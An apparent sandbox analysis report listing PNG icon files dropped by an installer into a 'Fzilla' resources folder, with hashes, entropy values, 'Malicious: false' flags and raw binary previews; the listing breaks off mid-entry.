[?FZ...>..L...Xl.>..G..t....._...........k...'....I.r.rNk..U..{.p.`Q*..j.+.g..9...\|..

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\file.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1045
Entropy (8bit):	7.717189259773399
Encrypted:	false
SSDEEP:	24:cB8EMWnAh4+jSRCSQAPIHavnNtcj0vJa+koKUnp6GmaSMSW8Y:c8EMUE4+JSQYvnHDdTdpbmaSS
MD5:	C8272BDFD0F4C8759C7139D62FA4CAEE
SHA1:	563B4E4FE108AE13EAD88B7415C12947E528045F
SHA-256:	F42580F26340DF3B102BEDBE96F261532D544B9D63792EFA4823A07362BA7DFF
SHA-512:	77DB9233BFAF9FF35617E8AA004DDE5ED3EF69352FE08A3C4B0F6CA768E9230B36C6C6102E3146255B425D0CB0713FFDA45FC2D749FC64763F5180F2E5A871BD
Malicious:	false
Preview:	.PNG........IHDR...0...0......`n.....tRNS........y"....IDATx.b.w-.yzJ.+....vj.m...q.\]..1.}...w...........#...Q........v.D.Z_..>0...4"....0lg.....3U.h..G..D. 0....}..>...o)..r#TM1./-c..C..._.`...E...v........$Jo..6..R...[..t'O.y..f.L[Q0.a....9{.x.....'...x.....@3\.r...93mEa....KK......+..@.\|.tO.h.-..3.K%...W..z.....#.......2....N....n..c.t...q...D%....9"f.h!..\.G.0.z8.3P.....1f".....R<.....q$....io:....q.M..Q.e....(.-...l.#b:...W...:~..r%....V.6..."T.Ux..LE.Z. ..T.<.B..Z...6$d..j.. ..lm[.>....Ck......t.XC..l..Z...g.im;3.~X...(...\(..R...<.....f..%.7.".!R.:.^%i..P.KvC.g.}.Ru..........#.;%..QDw..d.....[..........k.l...H.m...-.5Yw@S.H..\|...?..3o./...VPIn6.3........{..} ..).j.v..k:.^.+...:.ZY$K..@6.3.V.@.c...k....U..&...W].....d-".1.Y..z.T..HuW2.....HP.74......&!d%.#WT8.i........m.T......+[...$...v:U7.0s... ......YJ...(.Q...S...XI.T......h..e..)\......VE...w..k...........;..XU........$.$B,....!.AnX.$.H...m..mA(.F...H".[$.w..........\|....Qq.

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\filter.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	699
Entropy (8bit):	7.575025168250253
Encrypted:	false
SSDEEP:	12:6v/7/todEj/+X/MeXivlElyvIcFweINNRybVuDP6xCleUrngFptJ/S66d3cCvhJp:Ktoa/x7veyvIcfIb2yvr0p//uz5gPw
MD5:	A8CAF932ED171295A67BEEB2EEBC7B93
SHA1:	CBA717C7961ECA3E52B775CC1D989BB735F3D2E4
SHA-256:	5B7DB20B2E748D94FCFFCA77DB0D82378702A16889FBC69BDC3EDEBED8FBCB51
SHA-512:	503E22FE2217CD33AA2170DEC76456ADF3327CF400D5C5833BC56CF274CC30318FF3C1D18D16F4BF86CF79BCB33A245145B55DB1BF304F88010320BD9DB27E76
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx......Q.......m....m...m...tt3.[...]...:..(U.n.........."...D.i$.?.Zb0.V.M.8U.j4._Q..g..^8W....=.....hr.).I..@.0...........`.2..!...&...G.#..qR.0.%...[.}......I.,...%.yD.{..$.#i/....>U..V{...\|.......Q....M.....;...q.....+"(.4.J.]H.... ...Q.......)..k..[...................X.>.D..."bUg@W<...w......K......t.....J.`.)...$.....fY}...f.E[.....#..i"`..Z{.qT.$.ejQ..Mn(..0y.p.+bz....B....{.?...o..,.....F..>.m..c-#ai...%.%...Rq..%q._.......I.:,].g....~.^.j....>s~.C...H.x..Gq.]...8W..../r......Bl..A@7.G..U}..$.{M5:..k.2...\..t7.z..E5@..#..[.$..Z.......z..8..&..I....5...Z.z.F.l..}.H....A....q..U.............n.._.H.c.;hD....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\find.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2109
Entropy (8bit):	7.88500819090751
Encrypted:	false
SSDEEP:	48:aUsIx8E6plzjLrrn5FPh+1Au4bqdpZL8T3qoh8USl1:FmE6fzjLXvPh+bdpZL8fHSz
MD5:	0FE36310805B6D56D29151678759786E
SHA1:	538A9AC41C6A4EAC43DFDC0B2B9FDF3F5681F2BB
SHA-256:	CD779BEC0F09E1C7A2CC61E17A0ED6885A3088F44CEF8AE48BBAA0EB0DB8B286
SHA-512:	215C092CDEFA86D8D90CDCCA3A0F4CEBE7154E899B5F72C467932FB4E02C4F2297C1341C10346785DFCB16B4F4756538017FFE18698983E9E7274D128E55F619
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...p$...sm[.m..0.m......z7....'...;{;W.R..V...=....GG...Z]...?...O?.........7..g........\|.../.........iK.\|.....b@@........h.....q..C.....p...iW..<@..........7O.+!...[...aM..:!!A.....xzz2...J.@(...[..M..66J///&22Rs.....W..Y.+.o.....P........glm.T..Fj#[.%/h.c.r.1.P.$.`x.9....\..Pegg....]HH.c`` ..}.b..}..=.w.>88.12.+.l.U.[....>fW..Ri..Ru..Rm......kkD*.]mJ#k..1..xV.<.R....X.%..........L..^..{.9?"_.......S=b.....]....2a..[.....\|..6..W"t\....1.002.).q......o.......x...}..f...q.....^.#2..2....8.6......._....P...jckk.xW%..,.....-...g.....k.:....._K.&8....L_.......W\.t....0...f........8.@.1411... ..k...i..j.....a...v..................................!]}.UTT..(.....9.@I....u.....`x.....b.............<.x.Tr....r......r...R.q....,.7.b...&\|\|\| @..(.6p"..KAAA..YYY..!.....L.....3."..=.ay./.hZ.xov.x.:.u.s.G6gV.wATl.@nX.@%y.."0}.......g0vp.u'.F.&e..........c.]..{ZaYX>.\.wm....c.[...5.%ni.M[[7.6.J.#.l.(..t...6...........@..

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\folder.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2386
Entropy (8bit):	7.897825550427399
Encrypted:	false
SSDEEP:	48:X8wYZs+zHYmu7y5p3HaZ7KkCz54uYYIOxUQzWluMYvlOQFuAlSr0e:X7CLvx3M7vgeY9WliNOQ7l00e
MD5:	4631391B6F8FA1B0BFF28FC2F675F35B
SHA1:	DFA697B89B0F7EB50AAD6138FBAA88A92EB5FCFE
SHA-256:	F5B3CC02279C119BFC0A40D461C0F49C089F7B826DD288E841D26D918D2464D5
SHA-512:	89F4E8273D88B3825247692FA2BB7798D8A219440556EA52B0EA0FA5AEA977485EBFC48072FDD547C7EF197333F1B4C073F802BCBB901698E752C7CCC0640397
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...l%Ks........1..afff.+ .'...$.33333s...l_.....N.,K.....\|V.U...Su./.$..x...m...J^...;?.W...;......\|..}.......J..Y......t...7cS.......y.$...U@..".W..r..gl.c..%U7n..1.~I....R..m..<..=...6`.x.i./-.....h.^.....?.3..~..,.Z.3.c+p..<.....,..._..Q.._..@.[..C..i_...y..a~a.$. D..q..u.qTcw...........J.>......C...[.t..(..H.-.....l..[..HX....R.Xmnf<.Fc8zJ.k..%..20.mn0........=......O......+\..q;Z..W...ft9.Yb0V...Y.f\|......_.u(..,...Cvd~.B..&...Mb.u.P7..........=.2.X..8..s..........,...'....{.....Y...q.L..<......n{.F.@..XP.)......9.,...../..~.{?S.b(.s.&...,B).0....&.Y+..Ea......`.Z6^z..N](~....td.W-1........b.G.ua...a..w....X....P..-....w.3......ZH..]".P...,-.%d.e..W.....~.eb... p...}.].......s..onH.....w...p."81..E."Q.@.d.D._iF...0....e6{....[7maf\|.=..o.9}.`y....q...d..$.it;^.......>.................Pw.l&.}..Yv.......u.........3.....y@...o...I$.".Sb}........).ME...5.Sl.c.....K.XZ.2m.....&.E..U....;....;

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\folderback.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	712
Entropy (8bit):	7.562986130951774
Encrypted:	false
SSDEEP:	12:6v/7r96Aja4B8pVuylMzGAtUGpn3B+QMi1nNP4SOWoH3WTH:c96Zr3yZytWfD
MD5:	AAD279CD9C16D2B8D4B495565BD0070E
SHA1:	EA7364198A3C28A8268F9BA66F7E8D08AE439B90
SHA-256:	7E5DF7EDB5AC19FF5B373193C0F3779637A8197FFC5CBE81EA39167430309794
SHA-512:	F895A1955FC471E32CFD9CAD8C19A2504350443364482979091763B0CFEB20C2B792DDB25B4FB871DDE31B4C14FB88E0183D1DA9941577299CD779ABA167FB34
Malicious:	false
Preview:	.PNG........IHDR...0...0......`n.....tRNS........y"...}IDATx.b.w-.`.,t.k.A...u..F.4.i+.d.;....I. ......1.7:.g......m...{.........a. ..5..MIQ...5~.j.J2.d. .....O....{.-SM.N.;u2......8A.I'.>q<.J>~....q./m}o...5..=~...k._..?..@]u%..tyi.......B.K....-...y...R.5...._P..x............].5.D^....%!.....U.T.f..=.v....~...........LNM.s.....M..08[A`....T.z..[7www...E...Z...%..H'...HQn.......y. .X.......gtt....+...,.@..B.r3..U.n......&.....D.@..h..j.>.\|..)C.yP..3..3.RSsKq....sdX..c..@...&.F...ef0i\3.ySsKkaQ....(......8.s...'..B..a.0+.7.....L"..f.......I.^.....g.....L*..X....q...nx...m..A.....fR..}.?...S..wf.4......M.I'..o...R.1.rL&nP.)..M1......AyP....]..^3A.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\folderclosed.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1900
Entropy (8bit):	7.877312215614868
Encrypted:	false
SSDEEP:	48:hHEAOglNsfOil3HfhfkIL/YK+tK2YBXqLWhQm0:hDOgyfpB/h4kHsRm0
MD5:	8E64A8233007A4A79644A2886EDCBE14
SHA1:	B2EE0ECB8B4D361D3D22E8482889F178BCBCEF88
SHA-256:	24D2E3A7D7449F4A22BC2D10BEA0200EDD13D86682E86400F37D97094E1CE076
SHA-512:	8A77C222ECD93D5FFA6E3A78BB5F4C9FA0419A4745E5F5C1F5CD35CFA2CA0EBCB27CBE3AFA420912B1482BD512E51AFDBAF5F811149F4F37FC1BE03BCBC99947
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......3IDATx.....A...3;.}...m..e\.Auc.m..S+vR....}..%.X.f...:..2.2.2....Bb...;7G..Nvm.~.a.J..P......o...+...(._.BSCj.w......!._N........,.e.........B..)r...........D@.....O..cK.....>j.&......>...i...E.o.86.@.....#%.u..@.Q.....\....r..uQ]....$$L.{.9....].d...........p\|.[.....j....`3..M.(\|7%....D.:S...6..=.9S...#.1.[KM....PU.1.Qu.....1J.$...8l..=.......W?...9./.U.......wJl']....f.Xu={:.v...<.w.~...W?-..7c...)%d.........9..M.d?'<.1....{`......pS.Z...6..y.....c"g........&..F...8.w..z..[.c..I...4...Q...~M.7.:.msT.go.-@`.. .`U..`..a.x.....T.....`.C.]$.Wu%.4..z..$....ne....P.../...P....3.....d#.D>..J..n...8](.X....).nw..<.i!...H..\|........^....v..\|.vh..5u...u ........\|......1..+.~.l...E.h...+...Q.....m...6W...M.....2...3...q^.,\..]HE.3h.mY&F+s.7).=....vC.t.U..N..=Xz\|...21-$Pl..~.Pu./`..1.......~.S.K.9..t..f..&.'...7,..9O....."c.l..U...D..=.....R.....Ab.....S.36,.\...&H2.....`..cQ~.C.......;.......fo`T....,8RH

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\folderup.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	732
Entropy (8bit):	7.593952374875707
Encrypted:	false
SSDEEP:	12:6v/7rHZNvQE3gGfio3hjR05/BDVrdhI0ztw6S592wYTmMyH2Kjs4oIfBVqKnC0u6:c1gGKo3QVZhPBPS5IwYTa2n8HC8Jx
MD5:	C0942E80E6096D2FBEE61770401FC47B
SHA1:	48355134926633765D208DEC68BEE5654C742CDE
SHA-256:	53A802EE16C72B7E5F82A5C5B70EB44B6428F2B4751FD282DCA08733A51159CC
SHA-512:	1D49CFD5AB9CC5BE2B8954A14B024E9E873D69331BEF8B3A1B792A444F4625429F9570C39A78ECFD0B9B400E5AD5FDE91DA190D6B98178BC1D96E92658F8AE4B
Malicious:	false
Preview:	.PNG........IHDR...0...0......`n.....tRNS........y"....IDATx.b.w-.`.L.U.:h....F.4m..z:..k..=h.&&.\...mgc...Ju71...w.GKs..7n~..5)...nb".5.V...6....w....G.?ol..h..... ...,......@....v8t...........=.4;{.o..'6.9.5+.5{j...O....'.<y.`.l...d.....Y.{......%K.w...-.7.!.Y3...s..:\|....\B...Db...6...f..)cF.>}.L]J......2.%a.<..@.L.4a....=..)...`...O@.....0g...1..4G.>.93.....?q...b/.R.NK..[7.{. A..7.....mY.......MBP.....'..%:.}.".\.IH...F..G..3.l..O>..x.}..r.....\Bbg +h.q..C.?..?....Si....._f[...P...O6..qc.].:Hz."..]8v...=...B..G....%...;'..^...q+O.ME..n........J....<s..(\|.....zm.Hk..d"H.R.@J..M.L....#"+T....G....+T.hB....`T .`.,x \|..@..F.Dk....o.#H9..%.,".%A..:w........4..@.f......f.Y.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\help.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1621
Entropy (8bit):	7.830389338350691
Encrypted:	false
SSDEEP:	48:Nu7xSyxkeE6uHKs17iyNbGCm9jL0s35N1+:Nu79xkeOqaGyJ7AjL0s3h+
MD5:	1060C960DA64CD56FAD45F93A518E61E
SHA1:	BE37F6B3949EB6E9340B966EB8E26550041C9929
SHA-256:	7578FE340FAF90D1B816A62DB9BA172B8F8C89807DBA403499859FC5F5FCD665
SHA-512:	62318439DDD0C62D98DFD2F0068E3FAEC4E24377A7E4EBF90D71CC194CCCF1DE934E0AC1D5EAD65F8D2B6C8C5A6C004DD445E4ABFD0B1693FD130478734B564C
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..YSxdi.].......m;7.rl.m{...t.FX{...O..s.}..V..s.._................(...#....f..K.QIi.jmv....X!!1B.?3.....@..~,5Z....2...G{.._Ky.<..S]a".8.J.6.m..KWm...L......@....u..=$.b.5..S.v3I.!....<{.i\.P.I.R..td\|Kz.......R"...t._96...G.Q:@Uw&Q..Tt...^.-_./...k....8..zP.m7...Q.)Zg.7....C....{&47.O..z..x...........w'......PT..s<(=.......H....N."5.,&C.b..G...r_.1...KUw.S..QTru..^....d .W..T.F.v.m..>kv....M..L..<.T.V.:.\7..js&.....2........1....s].x<..y...N:t......:L..Pg.H..c8...g..z..#..L.^..d.....q-.bO..5....g]@..tj..B..gV..<.....s....SH.L..<...>..a5X.Q..]]T..8=...g...WK.TM.$..HY..W....c..=.X.,L......mdJ.B.]Z.n.va_.X.n4.42....X..x....a<h6......I.. S..bo..9.L.=DiH...k.B.{..d,.......;..o....I...o....\.j.X......a.!5.t.....'F..3..ETzm.w".B.....Rc.zQ....5`....r.8b..r.A'/.-......{....qPn.........B.../t'.$*z..s 1\...d./..S.@.....2..LQ}c....Sy.5.O.fP.AL?T....U..!L1'.V....N.`..Zr...<.....M.U3....U...X....G.W.2...`.

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\is-0C0OA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	732
Entropy (8bit):	7.593952374875707
Encrypted:	false
SSDEEP:	12:6v/7rHZNvQE3gGfio3hjR05/BDVrdhI0ztw6S592wYTmMyH2Kjs4oIfBVqKnC0u6:c1gGKo3QVZhPBPS5IwYTa2n8HC8Jx
MD5:	C0942E80E6096D2FBEE61770401FC47B
SHA1:	48355134926633765D208DEC68BEE5654C742CDE
SHA-256:	53A802EE16C72B7E5F82A5C5B70EB44B6428F2B4751FD282DCA08733A51159CC
SHA-512:	1D49CFD5AB9CC5BE2B8954A14B024E9E873D69331BEF8B3A1B792A444F4625429F9570C39A78ECFD0B9B400E5AD5FDE91DA190D6B98178BC1D96E92658F8AE4B
Malicious:	false
Preview:	.PNG........IHDR...0...0......`n.....tRNS........y"....IDATx.b.w-.`.L.U.:h....F.4m..z:..k..=h.&&.\...mgc...Ju71...w.GKs..7n~..5)...nb".5.V...6....w....G.?ol..h..... ...,......@....v8t...........=.4;{.o..'6.9.5+.5{j...O....'.<y.`.l...d.....Y.{......%K.w...-.7.!.Y3...s..:\|....\B...Db...6...f..)cF.>}.L]J......2.%a.<..@.L.4a....=..)...`...O@.....0g...1..4G.>.93.....?q...b/.R.NK..[7.{. A..7.....mY.......MBP.....'..%:.}.".\.IH...F..G..3.l..O>..x.}..r.....\Bbg +h.q..C.?..?....Si....._f[...P...O6..qc.].:Hz."..]8v...=...B..G....%...;'..^...q+O.ME..n........J....<s..(\|.....zm.Hk..d"H.R.@J..M.L....#"+T....G....+T.hB....`T .`.,x \|..@..F.Dk....o.#H9..%.,".%A..:w........4..@.f......f.Y.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\is-0MKOJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2527
Entropy (8bit):	7.8712405818582045
Encrypted:	false
SSDEEP:	48:OFzDSHCuzyW7CEC92cZHY3OvJ4JCoh0Q3dMrSM1wLjmJ:MiHAX9VZ4Z70Q3urPwmJ
MD5:	A556BA848F4C875F1DA4DE20BE1C9C82
SHA1:	E61F1D64BF25F1212A7ED6247D8DD68744D360E5
SHA-256:	DE598608E5ECC148A61434267BC9A08C2FF36DD24AE64D0D1FE895F4147DFF3A
SHA-512:	4E50915ADD55CB0957E9943B9AC65C5B29B8754F896EBA2E01A767D60DEB9D2BD389CC2F2E6F4807CC00B2DF8F3D6711ACB91D59C2D05D42063FE34C7ED3881D
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..uT[K..y_...+Z..S...Zu.nP$....k($....{.....IB(r...)$....?...9gf.f...."j...3........rmr..vH.q...W...3./...R.WRBw..9.)...........]..8;......6...<...o...C'...WW.&....3....8.-.........&Mps.q.....C..-.........Z.i..JR))#......h/..:.F.P.7.H..p....#/...I!.2.-....z.....i.\|....f.v.;B{.:.Q0......St..%.....rzX^F....Ai)..6..I.\g...:.t...!A..w...3)1+C'.8... S3........?..:.`\..1.....8....F%..-t..-...81;]'.......d..vuu.W.-.r.&.?^.`..lK7..bm...r!I/.......7....h.}Z.....`..].kW.....@..8...........W....`\|.....~\B..d.. z6.=z..eg.....?...{..P.N.0......Y....C}.,.....ef<.....l=._o.8%W7..<........z.H..Q..,...9.....@.....8?....&.~....$...b.%u.s.N..@~....G..m...@Bfz=.....\|.....o.G........../X<...g.8..y......s<...%..<...\|.J.I.....T.)..."..^... }Ea......6..:v.3.(,H.(pMj.}.u..&-K..9bx.....Z...+,N..........m......W.-)W.>.FeH#...ly..u.WM.71...]Ja.P.N<......v...FUc...n\k.k[v-p[?j..,.=..6v.eW1y..2....)'/.T.7..f.c..r...QB.M_....:I...

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\is-2JFTP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1996
Entropy (8bit):	7.857779041794649
Encrypted:	false
SSDEEP:	48:LYxO86YmmFIRqy70n4Tpve4RcvNJAGhVAtNHLHI5qF5:kQrmSTpe4AJAGPyJLo5g
MD5:	C55F018B6ED23C4F94600EC41CF3C0D5
SHA1:	80C39C4C62EC96231BB882782BCB2F625FBE0F26
SHA-256:	C74AF9EBA87BD964B7564B98C0BE0A50461B2B9DB79B817402D25BE4974A88A1
SHA-512:	B881AD1334A9BCBF8D724F7BDD4947AFEE8F5C41BC2EA1DF30CA7384AE4C284CAE62A6D1CA68CCE18DBFA0C9D14813915A5FC247D0EB14CBECC89867D406F0B4
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...p$[..m.m..>...mM4.d..^.mg....;.........=}g.../....y..7.\|..\.b'...^@/p..t^2LL./N......B`..r.l..c...!pvUU.U...W2...n....144...K.../......"......../....A..5"..c..$...p..F]].6m..Q]]..WTT...D..'"T.&...=.FF..P.....kQ[..q!.....=Ew...6.v...a...........=..F..b.---...PK>G..gD...4@..ZCj.FH.....?#I./H...2.0Pz.......gff>)H \.)..Gcn..sS.j.j8f.f.......a.d>_..$''.oii.......C.T....r]pp...q.........%%%GI:99].H..$`..(.0{.....0.K.C..80h.=.[....."~.....&.7.i./...dy."d...0;Q.........q...:..C#.....;.b..?.k_../........^u.......-...I.V3dF.o....k.Sk....0..&.7044. .h....4.E...-((....p.O.....Zha.W ....,..;R......`o.9vuo.H.RtW.....V.%......kA..IL......._@...Z......v.n....m_..............4.~.../0.X..[}....M...M..<..]........8Z.1..(..u....4.....Do....~.!.=..F{.W...............i....m....l...g;7.@..c.6.....m+1..C-.....>L.6/&..Vsmg.f.y... ...._...~W ...f^..w........\|NP.@m......A.u..+........).. ...n..`.uPK.......

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\is-2T053.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1984
Entropy (8bit):	7.8942562110046754
Encrypted:	false
SSDEEP:	24:XehTCSTHemCvYHwkjQmujOklGvcEtq53g7y4xaoSkIuu8/1XsFovy2sa9zikmwk:0x+1J+Q5SklCcEtq671aok989m698
MD5:	0DDD43DDF579002F9163888176D02CD2
SHA1:	AF8C2449274CA458AC12DB3C292E2D16486C0C85
SHA-256:	1D1E8B9203A09D2BFEA82D68CB28C5092C602872DD08F470B2EB1D15B0B4AE2D
SHA-512:	5EEB9763752B3F9629449150EADD735A55089B646EC64B3191F4708824AAAF729C0E3EE394B025B29CBF6E4BB0A28DBA270E4845D65AC6766CCBCDABED13CDE9
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...T.i..?.....G....um...#L0A/H...M..nww7.....s.....`..z.~.e~.(..2...M..H..'...U..O..C...@..s.?/.\..MwA...4.....=o.7...:mOQ............\A..O..<.`....&..G.)DO.'L....%...m.^..,B._.,.......G../...B.^....5eZ..Z}...u......j.QN............(F.+..Q..:..ul..G_..g.....jq......'....n}..3o`..,;\|.bj..\..f.Q._...`.N-.H....j....oMC.V$../...$...d..3./\|..v.........c.c...r....4....<TTTj...c.....).2dvT...u.-..._...y.{D.{..[n.>.b..M:..j...=TT`2@.s.\v....n!.:>.b..ZEr.8../.........W1.....z7..[....D.b.A......z...ZN.Z:..c.Tg\~.E.V...5..}.Z..6i..p].................;\|.......2l[?g.b....ik.......q...QFV?.ZZ..m.NI=i..s..[.P.:.?...;..m.%X'..M.....!=Y.....N........,..S...l._....O?D....;..U.....+.'....u3+.Y.LW7...?.M..>...d..{........`.t.../...6.......B...A....j\.../.}.....~..\.......k..C..zz.7i....f(IZ...M.3.~..mL..Q....;."./....o.".)...z...'.H.R.C..X..b:K......:V.E._...v...W$.f.J.S.a.8xY...Z.MR....X....s_.E.)9S.r.?V.....u.%

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\is-2TEF1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1045
Entropy (8bit):	7.717189259773399
Encrypted:	false
SSDEEP:	24:cB8EMWnAh4+jSRCSQAPIHavnNtcj0vJa+koKUnp6GmaSMSW8Y:c8EMUE4+JSQYvnHDdTdpbmaSS
MD5:	C8272BDFD0F4C8759C7139D62FA4CAEE
SHA1:	563B4E4FE108AE13EAD88B7415C12947E528045F
SHA-256:	F42580F26340DF3B102BEDBE96F261532D544B9D63792EFA4823A07362BA7DFF
SHA-512:	77DB9233BFAF9FF35617E8AA004DDE5ED3EF69352FE08A3C4B0F6CA768E9230B36C6C6102E3146255B425D0CB0713FFDA45FC2D749FC64763F5180F2E5A871BD
Malicious:	false
Preview:	.PNG........IHDR...0...0......`n.....tRNS........y"....IDATx.b.w-.yzJ.+....vj.m...q.\]..1.}...w...........#...Q........v.D.Z_..>0...4"....0lg.....3U.h..G..D. 0....}..>...o)..r#TM1./-c..C..._.`...E...v........$Jo..6..R...[..t'O.y..f.L[Q0.a....9{.x.....'...x.....@3\.r...93mEa....KK......+..@.\|.tO.h.-..3.K%...W..z.....#.......2....N....n..c.t...q...D%....9"f.h!..\.G.0.z8.3P.....1f".....R<.....q$....io:....q.M..Q.e....(.-...l.#b:...W...:~..r%....V.6..."T.Ux..LE.Z. ..T.<.B..Z...6$d..j.. ..lm[.>....Ck......t.XC..l..Z...g.im;3.~X...(...\(..R...<.....f..%.7.".!R.:.^%i..P.KvC.g.}.Ru..........#.;%..QDw..d.....[..........k.l...H.m...-.5Yw@S.H..\|...?..3o./...VPIn6.3........{..} ..).j.v..k:.^.+...:.ZY$K..@6.3.V.@.c...k....U..&...W].....d-".1.Y..z.T..HuW2.....HP.74......&!d%.#WT8.i........m.T......+[...$...v:U7.0s... ......YJ...(.Q...S...XI.T......h..e..)\......VE...w..k...........;..XU........$.$B,....!.AnX.$.H...m..mA(.F...H".[$.w..........\|....Qq.

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\is-4QQQP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1621
Entropy (8bit):	7.830389338350691
Encrypted:	false
SSDEEP:	48:Nu7xSyxkeE6uHKs17iyNbGCm9jL0s35N1+:Nu79xkeOqaGyJ7AjL0s3h+
MD5:	1060C960DA64CD56FAD45F93A518E61E
SHA1:	BE37F6B3949EB6E9340B966EB8E26550041C9929
SHA-256:	7578FE340FAF90D1B816A62DB9BA172B8F8C89807DBA403499859FC5F5FCD665
SHA-512:	62318439DDD0C62D98DFD2F0068E3FAEC4E24377A7E4EBF90D71CC194CCCF1DE934E0AC1D5EAD65F8D2B6C8C5A6C004DD445E4ABFD0B1693FD130478734B564C
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..YSxdi.].......m;7.rl.m{...t.FX{...O..s.}..V..s.._................(...#....f..K.QIi.jmv....X!!1B.?3.....@..~,5Z....2...G{.._Ky.<..S]a".8.J.6.m..KWm...L......@....u..=$.b.5..S.v3I.!....<{.i\.P.I.R..td\|Kz.......R"...t._96...G.Q:@Uw&Q..Tt...^.-_./...k....8..zP.m7...Q.)Zg.7....C....{&47.O..z..x...........w'......PT..s<(=.......H....N."5.,&C.b..G...r_.1...KUw.S..QTru..^....d .W..T.F.v.m..>kv....M..L..<.T.V.:.\7..js&.....2........1....s].x<..y...N:t......:L..Pg.H..c8...g..z..#..L.^..d.....q-.bO..5....g]@..tj..B..gV..<.....s....SH.L..<...>..a5X.Q..]]T..8=...g...WK.TM.$..HY..W....c..=.X.,L......mdJ.B.]Z.n.va_.X.n4.42....X..x....a<h6......I.. S..bo..9.L.=DiH...k.B.{..d,.......;..o....I...o....\.j.X......a.!5.t.....'F..3..ETzm.w".B.....Rc.zQ....5`....r.8b..r.A'/.-......{....qPn.........B.../t'.$*z..s 1\...d./..S.@.....2..LQ}c....Sy.5.O.fP.AL?T....U..!L1'.V....N.`..Zr...<.....M.U3....U...X....G.W.2...`.

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\is-7C7LR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	699
Entropy (8bit):	7.575025168250253
Encrypted:	false
SSDEEP:	12:6v/7/todEj/+X/MeXivlElyvIcFweINNRybVuDP6xCleUrngFptJ/S66d3cCvhJp:Ktoa/x7veyvIcfIb2yvr0p//uz5gPw
MD5:	A8CAF932ED171295A67BEEB2EEBC7B93
SHA1:	CBA717C7961ECA3E52B775CC1D989BB735F3D2E4
SHA-256:	5B7DB20B2E748D94FCFFCA77DB0D82378702A16889FBC69BDC3EDEBED8FBCB51
